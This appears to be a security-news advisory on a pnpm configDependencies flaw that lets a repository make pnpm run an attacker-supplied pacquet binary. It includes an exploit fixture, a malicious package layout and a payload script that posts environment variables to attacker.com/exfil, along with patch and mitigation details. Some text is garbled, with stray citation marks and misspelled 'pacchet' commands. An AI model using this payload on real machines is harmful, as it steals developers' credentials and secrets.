Listen to this Post
How the CVE Works
pnpm prior to versions 10.34.2 and 11.5.3 contains a vulnerability that allows a malicious repository to execute arbitrary native binaries on a victim’s system. The vulnerability lies in how pnpm handles `configDependencies` declared in `pnpm-workspace.yaml` files.
Before command dispatch, pnpm installs `configDependencies` from the repository’s workspace configuration. When a repository declares `pacquet` or `@pnpm/pacquet` as a config dependency, pnpm treats this repository-controlled dependency as an authorization to delegate install operations to pacquet—a native install engine.
The vulnerable execution path begins when `config/reader/src/getOptionsFromRootManifest.ts` copies the repository’s `pnpm-workspace.yaml` configDependencies into the pnpm configuration. Then `pnpm/src/getConfig.ts` triggers installation of these config dependencies before any command is dispatched. The `installing/env-installer/src/resolveAndInstallConfigDeps.ts` module resolves the repository-declared dependency and its optional platform-specific subdependencies. Next, `installing/env-installer/src/installConfigDeps.ts` fetches, imports, and symlinks the config dependency tree under node_modules/.pnpm-config. The critical flaw occurs when `installing/commands/src/installDeps.ts` selects pacquet delegation whenever `configDependencies` contains `pacquet` or @pnpm/pacquet—this selection happens without any trust verification. Finally, `installing/commands/src/runPacquet.ts` resolves the platform-specific binary from `@pacquet/${process.platform}-${process.arch}/pacquet` and executes it via `spawn()` with the victim’s privileges.
The exploit requires only that a victim runs a pnpm command (such as pnpm install) in a malicious repository. The attacker controls the repository and can publish a malicious package to the npm registry with platform-specific binaries. When pnpm resolves and installs the config dependency, it fetches the attacker’s native binary and executes it. The binary runs with the victim developer’s or CI user’s filesystem access, environment variables, registry credentials, git/SSH credentials, and full network access【6†L17-L25】.
The patch introduces a trusted allowlist mechanism: configDependencyInstallEngineAllowlist. This setting can only be configured from trusted user-controlled sources (global config, CLI config, or environment variables)—the repository’s own `pnpm-workspace.yaml` cannot grant this permission to itself. Without this allowlist containing pacquet, @pnpm/pacquet, or “, pnpm will no longer delegate install operations to pacquet, even if the repository declares it as a config dependency【6†L27-L33】.
DailyCVE Form:
Platform: …… pnpm
Version: …….. <10.34.2, <11.5.3
Vulnerability :…… configDependency pacquet delegation RCE
Severity: ……. High (CVSS 8.8)
date: ………. 2026-06-26
Prediction: …… 2026-07-03
What Undercode Say:
Analytics
The vulnerability demonstrates a classic trust boundary violation where repository-controlled configuration is incorrectly treated as authorization to execute untrusted native code. The attack surface is particularly concerning because:
– Attack Vector: Network (malicious repository + npm registry)
– Attack Complexity: Low—victim only needs to run `pnpm install`
– Privileges Required: None
– User Interaction: Required (victim must run pnpm command)
– Scope: Unchanged
– Confidentiality Impact: High
– Integrity Impact: High
– Availability Impact: High
Patch Analysis: The fix correctly implements a trust separation between repository-supplied configuration and user-controlled trust settings. The `configDependencyInstallEngineAllowlist` ensures that repositories cannot self-authorize native code execution.
Bash Commands and Code
Pre-patch exploit repository fixture:
pnpm-workspace.yaml packages: - . configDependencies: pacquet: 0.2.2
Malicious registry package shape:
{
"name": "pacquet",
"version": "0.2.2",
"optionalDependencies": {
"@pacquet/darwin-arm64": "0.2.2"
}
}
Platform package payload (executed on victim machine):
!/bin/sh echo "$PWD" > /tmp/pacquet-engine-ran env > /tmp/pacquet-engine-env Attacker-controlled arbitrary commands here curl -X POST https://attacker.com/exfil --data-binary @/tmp/pacquet-engine-env
Validation commands (post-patch):
./node_modules/.bin/tsgo --build config/reader/tsconfig.json ./node_modules/.bin/tsgo --build installing/commands/tsconfig.json ./node_modules/.bin/tsgo --build pnpm/tsconfig.json NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/runPacquet.ts --runInBand NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "config dependency code allowlists|user-level preference settings" --runInBand ./node_modules/.bin/eslint config/reader/src/Config.ts config/reader/src/types.ts config/reader/src/configFileKey.ts config/reader/src/index.ts config/reader/test/index.ts installing/commands/src/installDeps.ts installing/commands/test/runPacquet.ts pnpm/test/install/pacquet.ts git diff --check
Trusted allowlist configuration (post-patch):
Set via environment variable export PNPM_CONFIG_CONFIG_DEPENDENCY_INSTALL_ENGINE_ALLOWLIST='["pacquet"]' Or via CLI pnpm --config.configDependencyInstallEngineAllowlist='["pacquet"]' install
How Exploit:
- Repository Setup: Attacker creates a malicious repository with a `pnpm-workspace.yaml` containing
configDependencies: { pacquet: "0.2.2" }. - Registry Package: Attacker publishes a malicious `pacquet` package to npm with platform-specific optional dependencies containing a malicious binary.
- Victim Trigger: Victim clones the repository and runs `pnpm install` or any other pnpm command.
- Config Dependency Installation: pnpm resolves and installs the `pacquet` config dependency and its platform-specific subdependency into
node_modules/.pnpm-config. - Delegation Selection: `installDeps()` detects `pacquet` in `configDependencies` and selects pacquet delegation without trust verification.
- Binary Resolution: `runPacquet.ts` resolves `@pacquet/${process.platform}-${process.arch}/pacquet` from the installed config dependency tree.
- Execution: The malicious binary is executed via `spawn()` with the victim’s full privileges—filesystem access, environment variables, registry credentials, git/SSH credentials, and network access【6†L17-L25】.
Observed PoC output:
{
"primitive": "repository-selected pacquet config dependency reaches native process execution when selected",
"patchedWithoutAllowlist": "blocked",
"trustedAllowlist": "allows explicit opt-in"
}
Protection:
- Immediate Action: Upgrade to pnpm version 10.34.2 or 11.5.3 or later【6†L19】.
- Trusted Allowlist: If pacquet delegation is required, explicitly set `configDependencyInstallEngineAllowlist` through trusted user-controlled configuration only—never through repository
pnpm-workspace.yaml【6†L27-L33】. - Environment Variable: Use `PNPM_CONFIG_CONFIG_DEPENDENCY_INSTALL_ENGINE_ALLOWLIST='[“pacchet”]’` in CI/CD pipelines or developer environments.
- CLI Configuration: Pass `–config.configDependencyInstallEngineAllowlist='[“pacchet”]’` when running pnpm commands.
- Code Review: The following files were patched—review any custom modifications:
– `config/reader/src/Config.ts`
– `config/reader/src/types.ts`
– `config/reader/src/configFileKey.ts`
– `config/reader/src/index.ts`
– `config/reader/test/index.ts`
– `installing/commands/src/installDeps.ts`
– `installing/commands/test/runPacquet.ts`
–pnpm/test/install/pacquet.ts【6†L29-L31】 - Repository Scanning: Audit existing repositories for `pnpm-workspace.yaml` files containing `configDependencies` with `pacquet` or
@pnpm/pacquet. - CI/CD Hardening: Ensure CI pipelines use pinned, trusted pnpm versions and do not run arbitrary repository-installed binaries.
Impact:
- Remote Code Execution: A malicious repository can execute arbitrary native binaries on the victim’s system【6†L33-L35】.
- Credential Theft: The executed binary runs with the victim’s npm registry credentials, git/SSH credentials, and environment variables, enabling exfiltration of sensitive tokens and secrets.
- Supply Chain Compromise: Attackers can publish malicious packages to npm that, when installed as config dependencies, compromise developer machines and CI/CD pipelines.
- Privilege Escalation: The binary executes with the full privileges of the developer or CI user, potentially allowing lateral movement within an organization’s infrastructure.
- Persistent Access: A malicious binary could establish persistence on the victim’s machine or CI environment.
- Data Exfiltration: Full filesystem access allows reading source code, configuration files, and any other data accessible to the victim user.
- Reputation Damage: Organizations using pnpm in development workflows or CI/CD pipelines are at risk of supply chain attacks that could compromise their software artifacts.
Affected Products:
- Ecosystem: npm
- Package name:
pnpm,@pnpm/config.reader, `@pnpm/installing.commands`
– Affected versions: current main before patch, when `configDependencies` contains `pacquet` or@pnpm/pacquet【6†L19-L21】
Patched Versions: 10.34.2, 11.5.3【6†L19】
Weaknesses:
- CWE-829: Inclusion of Functionality from Untrusted Control Sphere
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- CWE-494: Download of Code Without Integrity Check【6†L23-L25】
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
